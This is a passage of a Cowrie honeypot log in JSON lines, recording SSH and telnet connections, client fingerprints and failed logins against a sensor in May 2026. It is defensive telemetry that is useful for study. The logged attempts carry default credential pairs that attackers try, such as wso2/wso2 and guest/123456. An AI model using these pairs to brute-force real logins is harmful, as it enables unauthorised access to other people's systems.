tp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:25.503737Z","src_ip":"45.156.87.254","session":"a0b214109cd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wso2","password":"wso2","message":"login attempt [wso2/wso2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:25.772367Z","src_ip":"45.156.87.254","session":"a0b214109cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:26.918773Z","src_ip":"45.156.87.254","session":"a0b214109cd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01907205581665,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:27.541986Z","src_ip":"185.145.252.179","session":"1f73df911662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.703837633132935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:29.962151Z","src_ip":"104.245.105.2","session":"7fffce721f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60550,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3ddb1f7f203","protocol":"ssh","message":"New connection: 45.156.87.254:60550 (159.203.135.109:22) [session: e3ddb1f7f203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:30.754348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:30.759330Z","src_ip":"45.156.87.254","session":"e3ddb1f7f203","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:30.849146Z","src_ip":"45.156.87.254","session":"e3ddb1f7f203","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo18","password":"odoo18","message":"login attempt [odoo18/odoo18] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:31.100065Z","src_ip":"45.156.87.254","session":"e3ddb1f7f203","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:32.282003Z","src_ip":"45.156.87.254","session":"e3ddb1f7f203","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":54930,"dst_ip":"10.17.0.5","dst_port":23,"session":"73f6dd67924c","protocol":"telnet","message":"New connection: 20.123.41.163:54930 (10.17.0.5:23) [session: 73f6dd67924c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:33.662961Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":60564,"dst_ip":"159.203.135.109","dst_port":22,"session":"a671b0246fa5","protocol":"ssh","message":"New connection: 45.156.87.254:60564 (159.203.135.109:22) [session: a671b0246fa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:35.847196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:35.852749Z","src_ip":"45.156.87.254","session":"a671b0246fa5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:35.936715Z","src_ip":"45.156.87.254","session":"a671b0246fa5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:36.425261Z","src_ip":"45.156.87.254","session":"a671b0246fa5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:37.515281Z","src_ip":"45.156.87.254","session":"a671b0246fa5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46210,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d2fab130bd9","protocol":"ssh","message":"New connection: 45.156.87.254:46210 (159.203.135.109:22) [session: 2d2fab130bd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:40.724249Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:40.729365Z","src_ip":"45.156.87.254","session":"2d2fab130bd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:40.815315Z","src_ip":"45.156.87.254","session":"2d2fab130bd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grid","password":"grid","message":"login attempt [grid/grid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:41.112105Z","src_ip":"45.156.87.254","session":"2d2fab130bd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.08626914024353,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:41.237852Z","src_ip":"104.245.105.2","session":"98f016d0e355","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:42.198551Z","src_ip":"45.156.87.254","session":"2d2fab130bd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41924,"dst_ip":"10.17.0.5","dst_port":23,"session":"76b6e2297cd8","protocol":"telnet","message":"New connection: 20.123.41.163:41924 (10.17.0.5:23) [session: 76b6e2297cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:45.591043Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":46214,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd32c23eb18b","protocol":"ssh","message":"New connection: 45.156.87.254:46214 (159.203.135.109:22) [session: fd32c23eb18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:45.849051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:45.853923Z","src_ip":"45.156.87.254","session":"fd32c23eb18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:46.024425Z","src_ip":"45.156.87.254","session":"fd32c23eb18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"vpn","message":"login attempt [vpn/vpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:46.278959Z","src_ip":"45.156.87.254","session":"fd32c23eb18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:47.364941Z","src_ip":"45.156.87.254","session":"fd32c23eb18b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41932,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9e29feeaba3","protocol":"telnet","message":"New connection: 20.123.41.163:41932 (10.17.0.5:23) [session: c9e29feeaba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:50.322539Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58250,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f244d0606ea","protocol":"ssh","message":"New connection: 45.156.87.254:58250 (159.203.135.109:22) [session: 9f244d0606ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:50.992741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:51.025259Z","src_ip":"45.156.87.254","session":"9f244d0606ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:51.101763Z","src_ip":"45.156.87.254","session":"9f244d0606ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:51.404587Z","src_ip":"45.156.87.254","session":"9f244d0606ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.51204776763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:51.547388Z","src_ip":"185.145.252.179","session":"f45797e78ae2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":41934,"dst_ip":"10.17.0.5","dst_port":23,"session":"de53ca901659","protocol":"telnet","message":"New connection: 20.123.41.163:41934 (10.17.0.5:23) [session: de53ca901659]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:51.620835Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:52.493146Z","src_ip":"45.156.87.254","session":"9f244d0606ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00261521339417,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:53.965666Z","src_ip":"20.123.41.163","session":"b43a1671e5b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":58270,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6b0815e2a2c","protocol":"ssh","message":"New connection: 45.156.87.254:58270 (159.203.135.109:22) [session: f6b0815e2a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:55.888777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:55.895925Z","src_ip":"45.156.87.254","session":"f6b0815e2a2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:55.982674Z","src_ip":"45.156.87.254","session":"f6b0815e2a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.792814493179321,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:56.115215Z","src_ip":"20.123.41.163","session":"c9e29feeaba3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kipt","password":"kipt","message":"login attempt [kipt/kipt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:56.234069Z","src_ip":"45.156.87.254","session":"f6b0815e2a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:57.399040Z","src_ip":"45.156.87.254","session":"f6b0815e2a2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.449283599853516,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:57.551800Z","src_ip":"104.245.105.2","session":"6311110e02e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":47356,"dst_ip":"10.17.0.5","dst_port":23,"session":"12d4225c3399","protocol":"telnet","message":"New connection: 20.123.41.163:47356 (10.17.0.5:23) [session: 12d4225c3399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:27:57.854515Z"}
{"eventid":"cowrie.session.closed","duration":8.680444717407227,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:00.301162Z","src_ip":"20.123.41.163","session":"de53ca901659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42252,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4809135ac36","protocol":"telnet","message":"New connection: 104.245.105.2:42252 (10.17.0.5:23) [session: e4809135ac36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:00.422705Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":53606,"dst_ip":"159.203.135.109","dst_port":22,"session":"036699c97a40","protocol":"ssh","message":"New connection: 45.156.87.254:53606 (159.203.135.109:22) [session: 036699c97a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:00.759997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:28:00.765363Z","src_ip":"45.156.87.254","session":"036699c97a40","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.co